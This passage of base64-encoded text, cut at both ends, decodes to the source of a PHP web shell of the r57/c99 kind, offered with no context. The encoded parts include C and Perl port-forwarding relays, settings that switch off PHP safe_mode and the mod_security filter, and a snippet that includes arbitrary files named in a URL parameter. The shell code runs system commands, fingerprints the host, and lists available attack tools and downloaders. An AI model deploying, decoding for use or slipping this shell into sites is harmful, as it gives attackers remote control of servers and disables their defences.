MzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHNhVzUxZUM5MGFXMWxMbWcrRFFvamFXWmtaV1lnVTFSU1JWSlNUMUlOQ21WNGRHVnliaUJqDQphR0Z5SUNwemVYTmZaWEp5YkdsemRGdGRPdzBLWlhoMFpYSnVJR2x1ZENCemVYTmZibVZ5Y2pzTkNtTm9ZWElnS25WdVpHVm1JRDBnSWxWdVpHVm1hVzVsWkNCbGNuSnZjaUk3RFFwamFHRnlJQ3B6ZEhKDQpsY25KdmNpaGxjbkp2Y2lrZ0lBMEthVzUwSUdWeWNtOXlPeUFnRFFwN0lBMEthV1lnS0dWeWNtOXlJRDRnYzNselgyNWxjbklwRFFweVpYUjFjbTRnZFc1a1pXWTdEUXB5WlhSMWNtNGdjM2x6WDJWeWNtDQp4cGMzUmJaWEp5YjNKZE93MEtmUTBLSTJWdVpHbG1EUW9OQ20xaGFXNG9ZWEpuWXl3Z1lYSm5kaWtnSUEwS0lDQnBiblFnWVhKbll6c2dJQTBLSUNCamFHRnlJQ29xWVhKbmRqc2dJQTBLZXlBTkNpQWdhDQpXNTBJR3h6YjJOckxDQmpjMjlqYXl3Z2IzTnZZMnM3RFFvZ0lFWkpURVVnS21ObWFXeGxPdzBLSUNCamFHRnlJR0oxWmxzME1EazJYVHNOQ2lBZ2MzUnlkV04wSUhOdlkydGhaR1J5WDJsdUlHeGhaR1J5DQpMQ0JqWVdSa2Npd2diMkZrWkhJN0RRb2dJR2x1ZENCallXUmtjbXhsYmlBOUlITnBlbVZ2WmloallXUmtjaWs3RFFvZ0lHWmtYM05sZENCbVpITnlMQ0JtWkhObE93MEtJQ0J6ZEhKMVkzUWdhRzl6ZEdWDQp1ZENBcWFEc05DaUFnYzNSeWRXTjBJSE5sY25abGJuUWdLbk03RFFvZ0lHbHVkQ0J1WW5sME93MEtJQ0IxYm5OcFoyNWxaQ0JzYjI1bklHRTdEUW9nSUhWdWMybG5ibVZrSUhOb2IzSjBJRzl3YjNKME93DQowS0RRb2dJR2xtSUNoaGNtZGpJQ0U5SURRcElIc05DaUFnSUNCbWNISnBiblJtS0hOMFpHVnljaXdpVlhOaFoyVTZJQ1Z6SUd4dlkyRnNjRzl5ZENCeVpXMXZkR1Z3YjNKMElISmxiVzkwWldodmMzUmNiDQppSXNZWEpuZGxzd1hTazdEUW9nSUNBZ2NtVjBkWEp1SURNd093MEtJQ0I5RFFvZ0lHRWdQU0JwYm1WMFgyRmtaSElvWVhKbmRsc3pYU2s3RFFvZ0lHbG1JQ2doS0dnZ1BTQm5aWFJvYjNOMFlubHVZVzFsDQpLR0Z5WjNaYk0xMHBLU0FtSmcwS0lDQWdJQ0FnSVNob0lEMGdaMlYwYUc5emRHSjVZV1JrY2lnbVlTd2dOQ3dnUVVaZlNVNUZWQ2twS1NCN0RRb2dJQ0FnY0dWeWNtOXlLR0Z5WjNaYk0xMHBPdzBLSUNBDQpnSUhKbGRIVnliaUF5TlRzTkNpQWdmUTBLSUNCdmNHOXlkQ0E5SUdGMGIyd29ZWEpuZGxzeVhTazdEUW9nSUd4aFpHUnlMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9LSFZ1YzJsbmJtVmtJSE5vYjNKMEtTDQpoaGRHOXNLR0Z5WjNaYk1WMHBLU2s3RFFvZ0lHbG1JQ2dvYkhOdlkyc2dQU0J6YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtTa2dQVDBnTFRFcElIc05DDQppQWdJQ0J3WlhKeWIzSW9Jbk52WTJ0bGRDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnNZV1JrY2k1emFXNWZabUZ0YVd4NUlEMGdhSFJ2Ym5Nb1FVWmZTVTVGVkNrN0RRb2dJR3hoDQpaR1J5TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdoMGIyNXNLREFwT3cwS0lDQnBaaUFvWW1sdVpDaHNjMjlqYXl3Z0pteGhaR1J5TENCemFYcGxiMllvYkdGa1pISXBLU2tnZXcwS0lDQWdJSEJsY25KDQp2Y2lnaVltbHVaQ0lwT3cwS0lDQWdJSEpsZEhWeWJpQXlNRHNOQ2lBZ2ZRMEtJQ0JwWmlBb2JHbHpkR1Z1S0d4emIyTnJMQ0F4S1NrZ2V3MEtJQ0FnSUhCbGNuSnZjaWdpYkdsemRHVnVJaWs3RFFvZ0lDDQpBZ2NtVjBkWEp1SURJd093MEtJQ0I5RFFvZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDBnTFRFcElIc05DaUFnSUNCd1pYSnliM0lvSW1admNtc2lLVHNOQ2lBZ0lDQnlaWFIxY200Z01qQTdEDQpRb2dJSDBOQ2lBZ2FXWWdLRzVpZVhRZ1BpQXdLUTBLSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0J6WlhSemFXUW9LVHNOQ2lBZ2QyaHBiR1VnS0NoamMyOWpheUE5SUdGalkyVndkQ2hzYzI5amF5d2dKbU5oDQpaR1J5TENBbVkyRmtaSEpzWlc0cEtTQWhQU0F0TVNrZ2V3MEtJQ0FnSUdObWFXeGxJRDBnWm1SdmNHVnVLR056YjJOckxDSnlLeUlwT3cwS0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUdadmNtc29LU2tnUFQwDQpnTFRFcElIc05DaUFnSUNBZ0lHWndjbWx1ZEdZb1kyWnBiR1VzSUNJMU1EQWdabTl5YXpvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdJQ0J6YUhWMFpHOTNiaWhqYzI5amF5DQp3eUtUc05DaUFnSUNBZ0lHWmpiRzl6WlNoalptbHNaU2s3RFFvZ0lDQWdJQ0JqYjI1MGFXNTFaVHNOQ2lBZ0lDQjlEUW9nSUNBZ2FXWWdLRzVpZVhRZ1BUMGdNQ2tOQ2lBZ0lDQWdJR2R2ZEc4Z1oyOTBjDQoyOWphenNOQ2lBZ0lDQm1ZMnh2YzJVb1kyWnBiR1VwT3cwS0lDQWdJSGRvYVd4bElDaDNZV2wwY0dsa0tDMHhMQ0JPVlV4TUxDQlhUazlJUVU1SEtTQStJREFwT3cwS0lDQjlEUW9nSUhKbGRIVnliaUF5DQpNRHNOQ2cwS0lHZHZkSE52WTJzNkRRb2dJR2xtSUNnb2IzTnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQ2lBDQpnSUNCbWNISnBiblJtS0dObWFXeGxMQ0FpTlRBd0lITnZZMnRsZERvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdaMjkwYnlCeGRXbDBNVHNOQ2lBZ2ZRMEtJQ0J2WVdSa2NpDQo1emFXNWZabUZ0YVd4NUlEMGdhQzArYUY5aFpHUnlkSGx3WlRzTkNpQWdiMkZrWkhJdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3lodmNHOXlkQ2s3RFFvZ0lHMWxiV053ZVNnbWIyRmtaSEl1YzJsdVgyRmtaDQpISXNJR2d0UG1oZllXUmtjaXdnYUMwK2FGOXNaVzVuZEdncE93MEtJQ0JwWmlBb1kyOXVibVZqZENodmMyOWpheXdnSm05aFpHUnlMQ0J6YVhwbGIyWW9iMkZrWkhJcEtTa2dldzBLSUNBZ0lHWndjbWx1DQpkR1lvWTJacGJHVXNJQ0kxTURBZ1kyOXVibVZqZERvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdaMjkwYnlCeGRXbDBNVHNOQ2lBZ2ZRMEtJQ0IzYUdsc1pTQW9NU2tnZXcwDQpLSUNBZ0lFWkVYMXBGVWs4b0ptWmtjM0lwT3cwS0lDQWdJRVpFWDFwRlVrOG9KbVprYzJVcE93MEtJQ0FnSUVaRVgxTkZWQ2hqYzI5amF5d21abVJ6Y2lrN0RRb2dJQ0FnUmtSZlUwVlVLR056YjJOckxDDQpabVpITmxLVHNOQ2lBZ0lDQkdSRjlUUlZRb2IzTnZZMnNzSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMU5GVkNodmMyOWpheXdtWm1SelpTazdEUW9nSUNBZ2FXWWdLSE5sYkdWamRDZ3lNQ3dnSm1aa2MzSXNJDQpFNVZURXdzSUNabVpITmxMQ0JPVlV4TUtTQTlQU0F0TVNrZ2V3MEtJQ0FnSUNBZ1puQnlhVzUwWmloalptbHNaU3dnSWpVd01DQnpaV3hsWTNRNklDVnpYRzRpTENCemRISmxjbkp2Y2lobGNuSnVieWtwDQpPdzBLSUNBZ0lDQWdaMjkwYnlCeGRXbDBNanNOQ2lBZ0lDQjlEUW9nSUNBZ2FXWWdLRVpFWDBsVFUwVlVLR056YjJOckxDWm1aSE55S1NCOGZDQkdSRjlKVTFORlZDaGpjMjlqYXl3bVptUnpaU2twSUhzDQpOQ2lBZ0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUhKbFlXUW9ZM052WTJzc1luVm1MRFF3T1RZcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ0lDQnBaaUFvS0hkeWFYUmxLRzl6YjJOckxHDQpKMVppeHVZbmwwS1NrZ1BEMGdNQ2tOQ2dsbmIzUnZJSEYxYVhReU93MEtJQ0FnSUgwZ1pXeHpaU0JwWmlBb1JrUmZTVk5UUlZRb2IzTnZZMnNzSm1aa2MzSXBJSHg4SUVaRVgwbFRVMFZVS0c5emIyTnJMDQpDWm1aSE5sS1NrZ2V3MEtJQ0FnSUNBZ2FXWWdLQ2h1WW5sMElEMGdjbVZoWkNodmMyOWpheXhpZFdZc05EQTVOaWtwSUR3OUlEQXBEUW9KWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0FnSUdsbUlDZ29kM0pwDQpkR1VvWTNOdlkyc3NZblZtTEc1aWVYUXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdmUTBLSUNCOURRb05DaUJ4ZFdsME1qb05DaUFnYzJoMWRHUnZkMjRvYjNOdlkyc3NNaWs3RFFvDQpnSUdOc2IzTmxLRzl6YjJOcktUc05DaUJ4ZFdsME1Ub05DaUFnWm1ac2RYTm9LR05tYVd4bEtUc05DaUFnYzJoMWRHUnZkMjRvWTNOdlkyc3NNaWs3RFFvZ2NYVnBkREE2RFFvZ0lHWmpiRzl6WlNoalptDQpsc1pTazdEUW9nSUhKbGRIVnliaUF3T3cwS2ZRPT0iOw0KJHNoZWxsdmljPSJRV3gxUTJGUz09IjsNCiRkYXRhcGlwZV9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DblZ6WlNCUVQxTkpXRHNOQ2lSc2IyTmhiSEJ2Y25RZ1BTQWtRVkpIVmxzd1hUc05DaVJvYjNOMEkNCkNBZ0lDQWdQU0FrUVZKSFZsc3hYVHNOQ2lSd2IzSjBJQ0FnSUNBZ1BTQWtRVkpIVmxzeVhUc05DaVJrWVdWdGIyNDlNVHNOQ2lSRVNWSWdQU0IxYm1SbFpqc05DaVI4SUQwZ01Uc05DbWxtSUNna1pHRmwNCmJXOXVLWHNnSkhCcFpDQTlJR1p2Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbElDSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWkNrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQmthV1UNCmdJaVFoSWpzZ2ZRMEtKVzhnUFNBb0ozQnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKM1J2Y0c5eWRDY2dQVDRnSkhCdmNuUXNKM1J2YUc5emRDY2dQVDRnSkdodmMzUXBPdzBLSkdGb0lEMGdTVTg2T2wNCk52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RNYjJOaGJGQnZjblFuSUQwK0lDUnNiMk5oYkhCdmNuUXNKMUpsZFhObEp5QTlQaUF4TENkTWFYTjBaVzRuSUQwK0lERXdLU0I4ZkNCa2FXVWdJaVFoSWpzTkMNCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1MWJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbUlDZ2hKR05vS1NCN0lIQnkNCmFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN0lHNWxlSFE3SUgwTkNpc3JKRzUxYlRzTkNpUndhV1FnUFNCbWIzSnJLQ2s3RFFwcFppQW9JV1JsWm1sdVpXUW9KSEJwWkNrcElIc2djSEpwYm5RZ1UxUkVSVkoNClNJQ0lrSVZ4dUlqc2dmU0FOQ21Wc2MybG1JQ2drY0dsa0lEMDlJREFwSUhzZ0pHRm9MVDVqYkc5elpTZ3BPeUJTZFc0b1hDVnZMQ0FrWTJnc0lDUnVkVzBwT3lCOUlBMEtaV3h6WlNCN0lDUmphQzArWTINCnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtTQTlJRUJmT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RRWldWeVENCldSa2NpY2dQVDRnSkc4dFBuc25kRzlvYjNOMEozMHNKMUJsWlhKUWIzSjBKeUE5UGlBa2J5MCtleWQwYjNCdmNuUW5mU2s3RFFwcFppQW9JU1IwYUNrZ2V5QmxlR2wwSURBN0lIME5DbTE1SUNSbWFEc04NCkNtbG1JQ2drYnkwK2V5ZGthWEluZlNrZ2V5QWtabWdnUFNCVGVXMWliMnc2T21kbGJuTjViU2dwT3lCdmNHVnVLQ1JtYUN3Z0lqNGtieTArZXlka2FYSW5mUzkwZFc1dVpXd2tiblZ0TG14dlp5SXBJRzkNCnlJR1JwWlNBaUpDRWlPeUI5RFFva1kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9hV3hsSUNna1kyZ2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkNCkk3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSamFDa3NJREVwSUQwZ01TQnBaaUFrWTJnN0RRcDJaV01vSkhKcGJpd2dabWxzWlc1dktDUjBhQ2tzSURFcElEMGdNU0JwWmlBa2RHZzdEUXB0ZVNna2MNCm05MWRDd2dKR1Z2ZFhRcE93MEtjMlZzWldOMEtDUnliM1YwSUQwZ0pISnBiaXdnZFc1a1pXWXNJQ1JsYjNWMElEMGdKSEpwYml3Z01USXdLVHNOQ21sbUlDZ2hKSEp2ZFhRZ0lDWW1JQ0FoSkdWdmRYUXANCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdzBLYlhrZ0pIUmlkV1ptWlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcElIeDhJSFoNCmxZeWdrY205MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcEtTa2dldzBLYlhrZ0pISmxjM1ZzZENBOUlITjVjM0psWVdRb0pHTm9MQ0FrZEdKMVptWmxjaXdnTVRBeU5DazdEUXBwWmlBb0lXUmxabWx1WlcNClFvSkhKbGMzVnNkQ2twSUhzTkNuQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdEUXBsZUdsMElEQTdEUXA5RFFwcFppQW9KSEpsYzNWc2RDQTlQU0F3S1NCN0lHVjRhWFFnTURzZ2ZRMEtmUTBLYVdZZ0sNCkNSMGFDQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1NBZ2ZId2dkbVZqS0NSeWIzVjBMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4MElEMGcNCmMzbHpjbVZoWkNna2RHZ3NJQ1JqWW5WbVptVnlMQ0F4TURJMEtUc05DbWxtSUNnaFpHVm1hVzVsWkNna2NtVnpkV3gwS1NrZ2V5QndjbWx1ZENCVFZFUkZVbElnSWlRaFhHNGlPeUJsZUdsMElEQTdJSDANCk5DbWxtSUNna2NtVnpkV3gwSUQwOUlEQXBJSHRsZUdsMElEQTdmUTBLZlEwS2FXWWdLQ1JtYUNBZ0ppWWdJQ1IwWW5WbVptVnlLU0I3S0hCeWFXNTBJQ1JtYUNBa2RHSjFabVpsY2lrN2ZRMEtkMmhwYkcNClVnS0cxNUlDUnNaVzRnUFNCc1pXNW5kR2dvSkhSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KSFJvTENBa2RHSjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kNCkRBcElIc2tkR0oxWm1abGNpQTlJSE4xWW5OMGNpZ2tkR0oxWm1abGNpd2dKSEpsY3lrN2ZTQU5DbVZzYzJVZ2UzQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdmUTBLZlEwS2QyaHBiR1VnS0cxNUlDUnMNClpXNGdQU0JzWlc1bmRHZ29KR05pZFdabVpYSXBLU0I3RFFwdGVTQWtjbVZ6SUQwZ2MzbHpkM0pwZEdVb0pHTm9MQ0FrWTJKMVptWmxjaXdnSkd4bGJpazdEUXBwWmlBb0pISmxjeUErSURBcElIc2tZMkoNCjFabVpsY2lBOUlITjFZbk4wY2lna1kySjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmWDE5RFFvPSI7DQokcGhwX2luaTE9ImMyRm1aVjl0YjJSbElDQWdJQ0FnSUNBZ0lDQWdJQ0FnUFNBZ0lDQWdJQ0JQWm1ZPSI7DQokaHRhY2Nlcz0iUEVsbVRXOWtkV3hsSUcxdlpGOXpaV04xY21sMGVTNWpQZzBLSUNBZ0lGTmxZMFpwYkhSbGNrVnVaMmx1WlNCUFptWU5DaUFnSUNCVFpXTkdhV3gwWlhKVFkyRnVVRTlUVkNCUFptWU5Dand2U1daTmIyUjFiR1UrIjsNCiRzbmlfcmVzPSJQRDhOQ21WamFHOGdhVzVwWDJkbGRDZ2ljMkZtWlY5dGIyUmxJaWs3RFFwbFkyaHZJR2x1YVY5blpYUW9JbTl3Wlc1ZlltRnpaV1JwY2lJcE93MEthVzVqYkhWa1pTZ2tYMGRGVkZzaVptbHNaU0pkS1RzTkNtbHVhVjl5WlhOMGIzSmxLQ0p6WVdabFgyMXZaR1VpS1RzTkNtbHVhVjl5WlhOMGIzSmxLQ0p2Y0dWdVgySmhjMlZrYVhJaUtUc05DbVZqYUc4Z2FXNXBYMmRsZENnaWMyRm1aVjl0YjJSbElpazdEUXBsWTJodklHbHVhVjluWlhRb0ltOXdaVzVmWW1GelpXUnBjaUlwT3cwS2FXNWpiSFZrWlNna1gwZEZWRnNpYzNNaVhTazdEUW8vUGc9PSI7DQoNCmlmKCR1bml4KQ0KIHsNCiBpZighaXNzZXQoJF9DT09LSUVbJ3VuYW1lJ10pKSB7ICR1bmFtZSA9IGV4KCd1bmFtZSAtYScpOyBzZXRjb29raWUoJ3VuYW1lJywkdW5hbWUpOyB9IGVsc2UgeyAkdW5hbWUgPSAkX0NPT0tJRVsndW5hbWUnXTsgfQ0KIGlmKCFpc3NldCgkX0NPT0tJRVsnaWQnXSkpIHsgJGlkID0gZXgoJ2lkJyk7IHNldGNvb2tpZSgnaWQnLCRpZCk7IH0gZWxzZSB7ICRpZCA9ICRfQ09PS0lFWydpZCddOyB9DQogaWYoJHNhZmVfbW9kZSkgeyAkc3lzY3RsID0gJy0nOyB9DQogZWxzZSBpZihpc3NldCgkX0NPT0tJRVsnc3lzY3RsJ10pKSB7ICRzeXNjdGwgPSAkX0NPT0tJRVsnc3lzY3RsJ107IH0NCiBlbHNlDQogIHsNCiAgICRzeXNjdGwgPSBleCgnc3lzY3RsIC1uIGtlcm4ub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuLm9zcmVsZWFzZScpOw0KICAgaWYoZW1wdHkoJHN5c2N0bCkpIHsgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2VybmVsLm9zdHlwZSAmJiBzeXNjdGwgLW4ga2VybmVsLm9zcmVsZWFzZScpOyB9DQogICBpZihlbXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gJy0nOyB9DQogICBzZXRjb29raWUoJ3N5c2N0bCcsJHN5c2N0bCk7DQogIH0NCiB9DQogaWYoIWlzc2V0KCRfQ09PS0lFWyRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzcnXV0pKSB7DQogCSR1c3RfdT0nJzsNCiAJaWYoJHVuaXggJiYgISRzYWZlX21vZGUpew0KIAkJZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pIHsNCiAJCQlpZih3aGljaCgkaXRlbSkpeyR1c3RfdS49JGl0ZW07fQ0KIAkJfQ0KIAl9DQogCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSAmJiBAaW5fYXJyYXkoJ21vZF9wZXJsJyxhcGFjaGVfZ2V0X21vZHVsZXMoKSkpIHskdXN0X3UuPSIsIG1vZF9wZXJsIjt9DQogCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSAmJiBAaW5fYXJyYXkoJ21vZF9pbmNsdWRlJyxhcGFjaGVfZ2V0X21vZHVsZXMoKSkpIHskdXN0X3UuPSIsIG1vZF9pbmNsdWRlKFNTSSkiO30NCiAJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2V4ZWMnKSkgeyR1c3RfdS49IiwgcGNudGxfZXhlYyI7fQ0KIAlpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ3dpbjMyc3RkJykpIHskdXN0X3UuPSIsIHdpbjMyc3RkX2xvYWRlZCI7fQ0KIAlpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ3dpbjMyc2VydmljZScpKSB7JHVzdF91Lj0iLCB3aW4zMnNlcnZpY2VfbG9hZGVkIjt9DQogCWlmIChAZXh0ZW5zaW9uX2xvYWRlZCgnZmZpJykpIHskdXN0X3UuPSIsIGZmaV9sb2FkZWQiO30NCiAJaWYgKEBleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpIHskdXN0X3UuPSIsIHBlcmxfbG9hZGVkIjt9DQogCWlmKHN1YnN0cigkdXN0X3UsMCwxKT09IiwiKSB7JHVzdF91WzBdPSIiO30NCg0KIAkkdXN0X3UgPSB0cmltKCR1c3RfdSk7DQogCX0NCiAJZWxzZQ0KIAl7DQogCSR1c3RfdSA9IHRyaW0oJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNyddXSk7DQogfQ0KDQogaWYoIWlzc2V0KCRfQ09PS0lFWyRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzgnXV0pKSB7DQogCSR1c3RfZD0nJzsNCiAJaWYoJHVuaXggJiYgISRzYWZlX21vZGUpew0KIAkJZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkgew0KIAkJCWlmKHdoaWNoKCRpdGVtKSl7JHVzdF9kLj0kaXRlbTt9DQogCQl9DQogCX0NCiAJaWYoISRzYWZlX21vZGUpew0KIAkJZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkgew0KIAkJCWlmKHBzKCRpdGVtKSl7JHVzdF9kLj0kaXRlbTt9DQogCQl9DQogCX0NCiAJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpICYmIEBpbl9hcnJheSgnbW9kX3NlY3VyaXR5JyxhcGFjaGVfZ2V0X21vZHVsZXMoKSkpIHskdXN0X2QuPSIsIG1vZF9zZWN1cml0eSI7fQ0KIAlpZihzdWJzdHIoJHVzdF9kLDAsMSk9PSIsIikgeyR1c3RfZFswXT0iIjt9DQoNCiAJJHVzdF9kID0gdHJpbSgkdXN0X2QpOw0KIAl9ZWxzZSB7DQogCSR1c3RfZCA9IHRyaW0oJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOCddXSk7DQogfQ0KDQogaWYoIWlzc2V0KCRfQ09PS0lFWyRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDInXV0pKSB7DQoNCiAJJHNlbGVjdF9kb3dubG9hZGVycz0nPHNlbGVjdCBzaXplPSIxIiBuYW1lPXdpdGg+JzsNCiAJaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8IChAaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZScpKSl7JHNlbGVjdF9kb3dubG9hZGVycyAuPSAiPG9wdGlvbiB2YWx1ZT1cImZvcGVuXCI+Zm9wZW48L29wdGlvbj4iOyRkb3dubG9hZGVyPSJmb3BlbiI7fQ0KIAlpZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7DQogCQlmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIHsNCiAJCQlpZih3aGljaCgkaXRlbSkpeyRzZWxlY3RfZG93bmxvYWRlcnMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyI+Jy4kaXRlbS4nPC9vcHRpb24+JzskZG93bmxvYWRlci49IiwgJGl0ZW0iO30NCiAJCX0NCiAJfQ0KIAkkc2VsZWN0X2Rvd25sb2FkZXJzIC49ICc8L3NlbGVjdD4nOw0KIAlpZihzdWJzdHIoJGRvd25sb2FkZXIsMCwxKT09IiwiKSB7JGRvd25sb2FkZXJbMF09IiI7fQ0KDQogCSRkb3dubG9hZGVyPXRyaW0oJGRvd25sb2FkZXIpOw0KDQogfWVsc2Ugew0KIAkkc2VsZWN0X2Rvd25sb2FkZXJzID0gJF9DT09LSUVbJ3NlbGVjdF9kb3dubG9hZGVycyddOw0KIAkkZG93bmxvYWRlciA9IHRyaW0oJF9DT09LSUVbJ2Rvd25sb2FkZXInXSk7DQogfQ0KDQplY2hvICRoZWFkOw0KZWNobyAnPC9oZWFkPic7DQppZihlbXB0eSgkX1BPU1RbJ2NtZCddKSkgew0KJHNlcnYgPSBhcnJheSgxMjcsMTkyLDE3MiwxMCk7DQokYWRkcj1AZXhwbG9kZSgnLicsICRfU0VSVkVSWydTRVJWRVJfQUREUiddKTsNCiRjdXJyZW50X3ZlcnNpb24gPSBzdHJfcmVwbGFjZSgnLicsJycsJHZlcnNpb24pOw0KfQ0KZWNobyAnPGJvZHk+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9QmxhY2s+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2sgd2lkdGg9MTYwPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPTI+Jy53cygzKS4nPGZvbnQgZmFjZT1XaW5nZGluZ3Mgc2l6ZT04IGNvbG9yPVdoaXRlPjxiPlY8L2I+PC9mb250PjxiPicud3MoMykuYmFzZTY0X2RlY29kZSgkc2hlbGx2aWMpLndzKDMpLic8Zm9udCBmYWNlPVdpbmdkaW5ncyBzaXplPTggY29sb3I9V2hpdGU+PGI+VjwvYj48L2ZvbnQ+PC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+JzsNCmVjaG8gd3MoMikuIjxiPiIuZGF0ZSAoImQtbS1ZIEg6aTpzIikuIjwvYj4iOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmZvIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDYnXS4iXCI+PGI+cGhwaW5mbzwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmkgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NyddLiJcIj48Yj5waHAuaW5pPC9iPjwvYT4gIi4kcmI7DQppZigkdW5peCkNCiB7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9jcHUgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MCddLiJcIj48Yj5jcHU8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP21lbSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUxJ10uIlwiPjxiPm1lbTwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnMgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ